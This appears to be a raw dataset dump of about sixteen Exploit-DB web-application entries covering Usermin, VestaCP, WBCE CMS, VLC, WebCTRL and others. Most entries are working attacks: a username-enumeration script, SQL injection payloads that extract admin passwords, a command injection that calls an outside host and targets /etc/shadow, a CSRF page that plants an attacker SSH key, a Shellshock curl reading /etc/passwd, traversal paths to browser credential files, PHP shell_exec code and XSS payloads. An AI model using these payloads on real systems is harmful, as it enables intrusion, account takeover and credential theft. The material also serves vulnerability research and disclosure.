deardaniel/secdata-raw huggingface dataset:
Exploit-DB #52254
Description: Usermin 2.100 - Username Enumeration
Type: webapps
Platform: multiple
Date: 2025-04-17
Author: Kjesper

Exploit:
# Exploit Title: Usermin 2.100 - Username Enumeration
# Date: 10.02.2024 
# Exploit Author: Kjesper 
# Vendor Homepage: https://www.webmin.com/usermin.html
# Software Link: https://github.com/webmin/usermin
# Version: <= 2.100 
# Tested on: Kali Linux 
# CVE: CVE-2024-44762
# https://senscybersecurity.nl/cve-2024-44762-explained/ 

#!/usr/bin/python3
# -*- coding: utf-8 -*-
# Usermin - Username Enumeration (Version 2.100) 
# Usage: UserEnumUsermin.py -u HOST -w WORDLIST_USERS
# Example: UserEnumUsermin.py -u https://127.0.0.1:20000 -w users.txt 

import requests
import json
import requests
import argparse
import sys
from urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

parser = argparse.ArgumentParser()

parser.add_argument("-u", "--url", help = "use -u with the url to the host of usermin, EX: \"-u https://127.0.0.1:20000\"")
parser.add_argument("-w", "--wordlist_users", help = "use -w with the username wordlist, EX: \"-w users.txt\"")

args = parser.parse_args()

if len(sys.argv) != 5:
    print("Please provide the -u for URL and -w for the wordlist containing the usernames")
    print("EX: python3 UsernameEnum.py -u https://127.0.0.1:20000 -w users.txt") 
    exit()
    
usernameFile = open(args.wordlist_users, 'r')

dataUsername = usernameFile.read()
usernameFileIntoList = dataUsername.split("\n")
usernameFile.close()

for i in usernameFileIntoList:

    newHeaders = {'Content-type': 'application/x-www-form-urlencoded', 'Referer': '%s/password_change.cgi' % args.url}
    params = {'user':i, 'pam':'', 'expired':'2', 'old':'fakePassword', 'new1':'password', 'new2':'password'}
    response = requests.post('%s/password_change.cgi' % args.url, data=params, verify=False, headers=newHeaders)
        if "Failed to change password: The current password is incorrect." in response.text:
        print("Possible user found with username: " + i)
    
    if "Failed to change password: Your login name was not found in the password file!" not in response.text and "Failed to change password: The current password is incorrect." not in response.text:
        print("Application is most likely not vulnerable and are therefore quitting.")
        exit() # comment out line 33-35 if you would still like to try username enumeration.
Exploit-DB #47058
Description: Varient 1.6.1 - SQL Injection
Type: webapps
Platform: multiple
Date: 2019-07-01
Author: Mehmet EMIROGLU

Exploit:
===========================================================================================
# Exploit Title: Varient 1.6.1 SQL Inj.
# Dork: N/A
# Date: 29-06-2019
# Exploit Author: Mehmet EMIROGLU
# Vendor Homepage: https://varient.codingest.com/
# Software Link: https://varient.codingest.com/
# Version: v1.6.1
# Category: Webapps
# Tested on: Wamp64, Windows
# CVE: N/A
# Software Description: the best news and magazine script
===========================================================================================
# POC - SQLi
# Parameters : user_id
# Attack Pattern :
%27)/**/oR/**/3211170=3211170/**/aNd/**/(%276199%27)=(%276199
# POST Method :
https://site.com/unpleasant-nor-diminution-excellence-apartments-imprudence?parent_id=0&post_id=66&name=9956574&comment=[COMMENT
HERE]7146048&user_id=99999999[SQL INJECT HERE]
===========================================================================================
Exploit-DB #38366
Description: Verax NMS - Multiple Method Authentication Bypass
Type: webapps
Platform: multiple
Date: 2013-02-06
Author: Andrew Brooks

Exploit:
source: https://www.securityfocus.com/bid/58334/info

Verax NMS is prone to multiple security-bypass and information disclosure vulnerabilities.

Attackers can exploit these issues to bypass certain security restrictions, perform unauthorized actions, and obtain sensitive information; this may aid in launching further attacks.

Versions prior to Verax NMS 2.1.0 are vulnerable. 

#!/usr/bin/python

 #just based on http://www.example.com/tutorials/general/client.html#basic-example
 from pyamf import AMF0, AMF3
 from pyamf.remoting.client import RemotingService

 client = RemotingService('http://installationurl/enetworkmanagementsystem-fds/messagebroker/amf',
amf_version=AMF3)
 service = client.getService('userService')

 print service.getAllUsers()
Exploit-DB #49662
Description: VestaCP 0.9.8 - 'v_interface' Add IP Stored XSS
Type: webapps
Platform: multiple
Date: 2021-03-18
Author: numan türle

Exploit:
# Title: VestaCP 0.9.8 - 'v_interface' Add IP Stored XSS
# Date: 07.03.2021
# Author: Numan Türle
# Vendor Homepage: https://vestacp.com
# Software Link: https://myvestacp.com < 0.9.8-26-43
# Software Link: https://vestacp.com < 0.9.8-26
# Tested on: VestaCP

POST /add/ip/ HTTP/1.1
Host: TARGET:8083
Connection: close
Content-Length: 165
Cache-Control: max-age=0
Origin: https://TARGET:8083
Content-Type: application/x-www-form-urlencoded
User-Agent: USER-AGENT
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: https://TARGET:8083/add/ip/
Accept-Encoding: gzip, deflate
Accept-Language: en,tr-TR;
Cookie: PHPSESSID=udiudv2k0707d6k3p3fi1n1qk0
sec-gpc: 1

token=04331c937aeb2d203889b3fb86fa75b2&ok=Add&v_ip=90.7.3.1&v_netmask=255.0.0.0&v_interface=<script>alert(1)</script>&v_shared=on&v_owner=admin&v_name=&v_nat=&ok=Add
Exploit-DB #49674
Description: VestaCP 0.9.8 - 'v_sftp_licence' Command Injection
Type: webapps
Platform: multiple
Date: 2021-03-19
Author: numan türle

Exploit:
# Title: VestaCP 0.9.8 - 'v_sftp_licence' Command Injection
# Date: 17.03.2021
# Author: Numan Türle
# Vendor Homepage: https://vestacp.com
# Software Link: https://myvestacp.com < 0.9.8-26-43
# Software Link: https://vestacp.com < 0.9.8-26


POST /edit/server/ HTTP/1.1
Host: TARGET:8083
Connection: close
Content-Length: 6633
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
User-Agent: USER_AGENT
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en,tr-TR;q=0.9,tr;q=0.8,en-US;q=0.7,el;q=0.6,zh-CN;q=0.5,zh;q=0.4
Cookie: PHPSESSID=HERE_COOKIE
sec-gpc: 1

token=149e2b8c201fd88654df6fd694158577&save=save&v_hostname=1338.example.com&v_timezone=Europe%2FIstanbul&v_language=en&v_mail_url=&v_mail_ssl_domain=&v_mysql_url=&v_mysql_password=&v_backup=yes&v_backup_gzip=5&v_backup_dir=%2Fbackup&v_backup_type=ftp&v_backup_host=&v_backup_username=&v_backup_password=&v_backup_bpath=&v_web_ssl_domain=&v_sys_ssl_crt=privatekeyblablabla&v_quota=no&v_firewall=no&v_sftp=yes&v_sftp_licence=1  1337.burpcollaborator.net -o /etc/shadow&v_filemanager=no&v_filemanager_licence=&v_softaculous=yes&save=Save



Parameter : v_sftp_licence=1  1337.burpcollaborator.net -o /etc/shadow
Exploit-DB #49659
Description: VestaCP 0.9.8 - File Upload CSRF
Type: webapps
Platform: multiple
Date: 2021-03-17
Author: Fady Mohammed Osman

Exploit:
# Exploit Title: VestaCP 0.9.8 - File Upload CSRF
# Exploit Author: Fady Othman 
# Date: 16-03-2021
# Vendor Homepage: https://vestacp.com/
# Software Link: https://github.com/myvesta/vesta
# Version: Vesta Control Panel (aka VestaCP) through 0.9.8-27 and myVesta through 0.9.8-26-39
# CVE ID: CVE-2021-28379
# Patch: https://github.com/myvesta/vesta/commit/3402071e950e76b79fa8672a1e09b70d3860f355

## Description
I found that the checks performed by the upload functionality are insufficient, the upload functionality is vulnerable to CSRF, in addition it allows uploading files and creating folders under "/tmp" and under the home folder (usually "/home/admin"), the later is the one that is important for this exploit to work.

I was able to use this to create a ".ssh" folder in the admin home and upload "authorized_keys" file which allowed me to access the server later as "admin" using SSH.

Since this relies on a *CSRF* the admin has to visit a link, please note that *sshd* is already installed by *VestaCP* when using the default installation script so no need to install it, also please note that files can be replaced so even if the admin has already added "authorized_keys" file, it will be replaced with the attacker's file.

Affected endpoint: "/upload/index.php", i.e. "/upload/index.php?dir=/home/admin/.ssh/"

## Steps to reproduce.
1. Install the latest version of VestaCP in your machine by following the instructions at https://vestacp.com/install/.
2. Login as the admin in Firefox, then open "exploit.html".
3. ssh into the machine using 'ssh -i id_rsa admin@victimmachine', now you have access as admin.

# exploit.html 

<html>
<head> 
<script>

function exploit() {
	var mystring = `ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCnXyu8AsFjbuE5YMUa74PrNkO9coGWnw59v/cSVMgOZVpx+UziT0BRFurhVkyujTCXdz6OlN4yFZjCVMbAgZ7/liNu9ecGSGNcUTC+Br5YawlG9QICEaJ/bK32+luKdM1c5ONbRby+ARFsC9+iZu6IkAPnSRntbNgDZpuej/cKfm85EnvdQPAijvs4+899w2+rGvhSQ0wH4l1KNlV1yVoAsg0PFYGDnbygGA5Eo4k9LHwa2Hsm5b2Q5GhqlEUCgYFOjScuORczwhctVtp4VWKXiFoMLJupNhot/OqUXkoNgE6UUd75XcLNGMBiyfLpfXO2u1sGsw5nTiKvNn+1YdC7AKHWBjxl3wDY8hMf/gcveV4Nh45mMUu0p6kptDdVhELeeys8euHiTWOk+FLCKkps9eLiyl8gQUfWcFVj0dgqYVJne2S1U33wnofRhj0fGWAJf14xHhwnTi7u58u+0U1NJchOTHAaeX1Swqk2J34Ny9GwD01a71DFIIcIbgcef6c= fady@fady-Lenovo-Legion-Y530-15ICH-1060`;
	var fileContent = new Blob([mystring], {
    		type: 'text/plain'
	});
	myFormData = new FormData();
	myFormData.append("files", fileContent, "authorized_keys");
	fetch("https://localhost:8083/upload/index.php?dir=/home/admin/.ssh/", {
    	method: "post",
    	body: myFormData,
    	credentials: "include"
}); }
</script>

</head>

<body onload="exploit();">


</body>
</html>
Exploit-DB #50078
Description: Vianeos OctoPUS 5 - 'login_user' SQLi
Type: webapps
Platform: multiple
Date: 2021-07-01
Author: Audencia Business SCHOOL Red Team

Exploit:
# Exploit Title: Vianeos OctoPUS 5 - 'login_user' SQLi
# Date: 01/07/2021
# Exploit Author: Audencia Business SCHOOL
# Vendor Homepage: http://www.vianeos.com/en/home-vianeos/
# Software Link: http://www.vianeos.com/en/octopus/
# Version: > V5
# Tested on: Fedora / Apache2 / MariaDB


Octopus V5 SQLi

The "login_user =" parameter present in the POST authentication request is vulnerable to an Time Based SQLi as follow :

```
Parameter: login_user (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: signin_user=1&login_user=1' AND (SELECT 8860 FROM (SELECT(SLEEP(5)))xENj) AND 'OoKG'='OoKG&password_user=1
```
Exploit-DB #11409
Description: Video Games Rentals Script - SQL Injection
Type: webapps
Platform: multiple
Date: 2010-02-11
Author: JaMbA

Exploit:
# Exploit Title: video games rentals Script SQL injection Vulnerability
# Date: 11/02/2010
# Author: JaMbA
# Software Link: N/A
# Version: all version
# Tested on: Windows & Linux
# CVE : ()

:::::::::::::::::::::::::

Exploit Title : video games rentals Script SQL injection Vulnerability

Author : JaMbA

Script Site : www.commodityrentals.com

Version : All Versions

Tested on : Windows & Linux

:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

:::::::::::::::::::::::::

=====================================Exploit===============

=========================

[ EXPL0!T ]

www.[Server}.com/[Path]/index.php?view=catalog&pfid=5[exploit code]&item_type=G

[ D3M0 ]

http://server/index.php?view=catalog&pfid=-5+union+select+1,concat(admin_name,0x3a,admin_password),3,4,5+from+rental_admin--&item_type=G


Have Fun :D

===========================================================

=========================

Greetz to : Alnjm33-virus-pal - Predator-bingo2 - xXx-jago-dz -inejcteur-4PY-SaYrOs- XR57 -Tr0y-x Ahmadso -alsaek
=== 3SI lycee jbel jloud ====
Exploit-DB #38706
Description: VideoLAN VLC Media Player Web Interface 2.2.1 - Metadata Title Cross-Site Scripting
Type: webapps
Platform: multiple
Date: 2015-11-16
Author: Andrea Sindoni

Exploit:
##################################
# Andrea Sindoni - @invictus1306 #
##################################

XSS vulnerability via metadata

1. Introduction

Affected Product:    VLC 2.2.1 / WEB INTERFACE
Vulnerability Type:  XSS

2. Vulnerability Description

XSS vulnerability via metadata title 

3. Proof of Concept

3.1 Launch: vlc.exe --http-host=127.0.0.1 --http-port=8080 --http-[CREDENTIAL_REDACTED]
3.2 Open Browser and go to localhost:8080 (for more info see https://wiki.videolan.org/Documentation:Modules/http_intf/)
3.3 Then left username blank and password andrea
3.4 Select poc.mp3 (attached) file
3.5 See Attached image

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38706.zip
Exploit-DB #51142
Description: Virtual Reception v1.0 - Web Server Directory Traversal
Type: webapps
Platform: multiple
Date: 2023-03-30
Author: Spinae

Exploit:
# Exploit Title: Virtual Reception v1.0 - Web Server Directory Traversal
# Exploit Author: Spinae
# Vendor Homepage: https://www.virtualreception.nl/
# Version: win7sp1_rtm[PII_REDACTED] 6.1.7601.1.0.65792 running on an Intel NUC5i5RY
# Tested on: all
# CVE-ID: CVE-2023-25289

We discovered the web server of the Virtual Reception appliance is prone to
an unauthenticated directory traversal vulnerability. This allows an
attacker to traverse outside the server root directory by specifying files
at the end of a URL request.
This is a NUC5i5RY

http://[ip address]/c:/WINDOWS/System32/drivers/etc/hosts
http://[ip address]/C:/windows/WindowsUpdate.log
...

A user called 'receptie' exists on the Windows system:

http://[ip address]/c:/users/receptie/ntuser.dat
http://[ip address]/c:/users/receptie/ntuser.ini
http://[ip address]/c:/users/receptie/appdata/local/temp/wmsetup.log
...
http://[ip address]/c:/users/receptie/AppData/Local/Google/Chrome/User
Data/Default/Login Data
http://[ip
address]/c:/users/receptie/AppData/Local/Google/Chrome/User%20Data/Local%20State
http://[ip address]/c:/users/receptie/AppData/Local/Google/Chrome/User
Data/Default/Cookies
...

The appliance also keeps a log of the visitors that register at the
entrance:

http://[ip address]/visitors.csv

hash icon for shodan searches:

https://www.shodan.io/search?query=http.favicon.hash%3A656388049

No reply from the vendor (phone, email, website form submissions), first
reported in 2021.

-- 
DISCLAIMER: Unless indicated otherwise, the information contained in this 
message is privileged and confidential, and is intended only for the use of 
the addressee(s) named above and others who have been specifically 
authorized to receive it. If you are not the intended recipient, you are 
hereby notified that any dissemination, distribution or copying of this 
message and/or attachments is strictly prohibited. The company accepts no 
liability for any damage caused by any virus transmitted by this message. 
Furthermore, the company does not warrant a proper and complete 
transmission of this information, nor does it accept liability for any 
delays. If you have received this message in error, please contact the 
sender and delete the message. Thank you.
Exploit-DB #50098
Description: Visual Tools DVR VX16 4.2.28.0 - OS Command Injection (Unauthenticated)
Type: webapps
Platform: multiple
Date: 2021-07-06
Author: Andrea D\'Ubaldo

Exploit:
# Exploit Title: Visual Tools DVR VX16 4.2.28.0 - OS Command Injection (Unauthenticated)
# Date: 2021-07-05
# Exploit Author: Andrea D'Ubaldo
# Vendor Homepage: https://visual-tools.com/
# Version: Visual Tools VX16 v4.2.28.0
# Tested on: VX16 Embedded Linux 2.6.35.4.
# CVE: CVE-2021-42071
# Reference: https://www.swascan.com/security-advisory-visual-tools-dvr-cve-2021-42071/

# An unauthenticated remote attacker can inject arbitrary commands to CGI script that can result in remote command execution.

curl -H 'User-Agent: () { :; }; echo ; echo ; /bin/cat /etc/passwd' bash -s :'' http:/DVR_ADDR/cgi-bin/slogin/login.py
Exploit-DB #12610
Description: VMware View Portal 3.1 - Cross-Site Scripting
Type: webapps
Platform: multiple
Date: 2010-05-14
Author: Alexey Sintsov

Exploit:
[DSECRG-09-058] Vmware View - XSS vulnerability

Source:http://www.dsecrg.com/pages/vul/show.php?id=158

Linked XSS in VMware Portal

Digital Security Research Group [DSecRG] Advisory DSECRG-09-058

Application: VMware View Portal
Versions Affected: <= 3.1
Vendor URL: http://www.vmware.com
Bugs: XSS
Exploits: YES
Reported: 07.09.2009
Vendor response: 21.09.2009
Date of Public Advisory: 05.05.2010
CVE: CVE-2010-1143
Author: Alexey Sintsov
from Digital Security Research Group [DSecRG] (research [at] dsecrg [dot] com)


Description
***********

Linked XSS in VMware Portal


Details
*******

An attacker may inject JavaScript code into url.

Example:
********

https://[VMware_Portal_IP]/not_a_real_page<SCRIPT>alert(/XSS/.source)</SCRIPT>

Solution
********
Update VmWare View to version 3.1.3

References
**********
http://dsecrg.com/pages/vul/show.php?id=149
http://lists.vmware.com/pipermail/security-announce/2010/000092.html


About
*****

Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.


Contact: research [at] dsecrg [dot]com
http://www.dsecrg.com
Exploit-DB #52489
Description: WBCE CMS 1.6.4 - Remote Code Execution
Type: webapps
Platform: multiple
Date: 2026-04-06
Author: red

Exploit:
# Exploit Title: WBCE CMS 1.6.4 - Remote Code Execution
# Date: 2024-10-26
# Exploit Author: Chokri Hammedi
# Vendor Homepage: https://wbce.org/
# Software Link: https://github.com/WBCE/WBCE_CMS/releases/tag/v1.6.4
# Version: 1.6.4
# Tested on: Linux (Debian/Parrot OS)


## Vulnerability Description
WBCE CMS version 1.6.4 contains a critical remote code execution
vulnerability in the Droplets module. Authenticated attackers with
administrator privileges can inject and execute arbitrary PHP code, leading
to complete system compromise.

## Proof of Concept

1. Log in to the WBCE admin panel with administrator credentials
2. Navigate to "Admin-Tools" in the sidebar menu
3. Click on "Droplets" to access the droplet management interface
4. Click "Add droplet" to create a new droplet
5. Enter a random name for the droplet and insert the following malicious
code in the code area:


echo "<h3>System Information PoC</h3>";
echo "<pre>";

if(function_exists('shell_exec')) {
    echo "1. Current User: " . shell_exec('id');
    echo "2. Working Directory: " . shell_exec('pwd');
    echo "3. System Info: " . shell_exec('uname -a');
    echo "4. PHP Version: " . phpversion();
} else {
    echo "shell_exec disabled - but eval() still works!";
    echo "Current User (via PHP): " . get_current_user();
    echo "System: " . PHP_OS;
}

echo "</pre>";


6. Click "Save & Back" to store the droplet
7. Copy the droplet code name (e.g., `[[test]]`) from the droplets list.
You can find this under the description column by clicking the info icon.
8. Edit or create any page and insert the droplet code name within double
brackets
9. View the page to observe the command execution output, confirming remote
code execution
Exploit-DB #31233
Description: WebcamXP 3.72.440/4.05.280 Beta - '/pocketpc?camnum' Arbitrary Memory Disclosure
Type: webapps
Platform: multiple
Date: 2008-02-18
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/27875/info

webcamXP is prone to multiple information-disclosure and denial-of-service vulnerabilities because it fails to check user-supplied input data.

Attackers can exploit these issues to access potentially sensitive information or crash the application. Successful exploits could aid in further attacks or deny service to legitimate users.

These issues affect webcamXP 3.72.440 and 4.05.280 beta and prior versions.

http://www.example.com:8080/pocketpc?camnum=999999&mode=0
http://www.example.com:8080/pocketpc?camnum=-999999&mode=0
Exploit-DB #31234
Description: WebcamXP 3.72.440/4.05.280 Beta - '/show_gallery_pic?id' Arbitrary Memory Disclosure
Type: webapps
Platform: multiple
Date: 2008-02-18
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/27875/info
 
webcamXP is prone to multiple information-disclosure and denial-of-service vulnerabilities because it fails to check user-supplied input data.
 
Attackers can exploit these issues to access potentially sensitive information or crash the application. Successful exploits could aid in further attacks or deny service to legitimate users.
 
These issues affect webcamXP 3.72.440 and 4.05.280 beta and prior versions.

http://www.example.com:8080/show_gallery_pic?id=999999
Exploit-DB #50463
Description: WebCTRL OEM 6.5 - 'locale' Reflected Cross-Site Scripting (XSS)
Type: webapps
Platform: multiple
Date: 2021-10-29
Author: 3ndG4me

Exploit:
# Exploit Title: WebCTRL OEM 6.5 - 'locale' Reflected Cross-Site Scripting (XSS)
# Date: 4/07/2021
# Exploit Author: 3ndG4me
# Vendor Homepage: https://www.automatedlogic.com/en/products/webctrl-building-automation-system/
# Version: 6.5 and Below
# CVE : CVE-2021-31682

--Summary--

The login portal for the Automated Logic WebCTRL/WebCTRL OEM web application contains a vulnerability that allows for reflected XSS attacks due to the operatorlocale GET parameter not being sanitized. 

Automated Logic
https://www.automatedlogic.com/en/products-services/webctrl-building-automation-system/

--Affects--

- WebCTRL OEM
- Versions 6.5 and prior

--Details--

The login portal for the Automated Logic WebCTRL/WebCTRL OEM web application contains a vulnerability that allows for reflected XSS attacks due to the operatorlocale GET parameter not being sanitized. This issue impacts versions 6.5 and below. This issue works by passing in a basic XSS payload to a vulnerable GET parameter that is reflected in the output without sanitization. This can allow for several issues including but not limited to:

- Hijacking a user's session
- Using XSS payloads to capture input (keylogging)


-- Proof of Concept --
The following URL parameter was impacted and can be exploited with the sample payload provided below:
- https://example.com/index.jsp?operatorlocale=en/><script>alert("xss")</script> 

--Mitigation--

Sanitize any user controlled input in both form fields and URL parameters to properly encode data so it is not rendered as arbitrary HTML/JavaScript.

--Timeline--

- 4/07/2021: XSS Vulnerability was discovered and documented. 
- 4/17/2021: A temporary CVE identifier was requested by MITRE. Automated Logic was also notified with the full details of each finding via their product security contact at https://www.automatedlogic.com/en/about/security-commitment/. A baseline 90 day disclosure timeline was established in the initial communication.
- 7/23/2021: MITRE Assigns CVE ID CVE-2021-31682 to the vulnerability.
- 9/08/2021: Automated Logic formally responds requesting the CVE identifier and states that the issue should be patched in newer versions of the product.
- 10/20/2021: The researcher responds with the CVE identifier and a request for all impacted version numbers so they can release a more accurate impacted list of products when full disclosure occurs. Automate Logic responds with a list of impacted versions the same day, and the researcher publicly discloses the issue and submits a CVE details update request to MTIRE.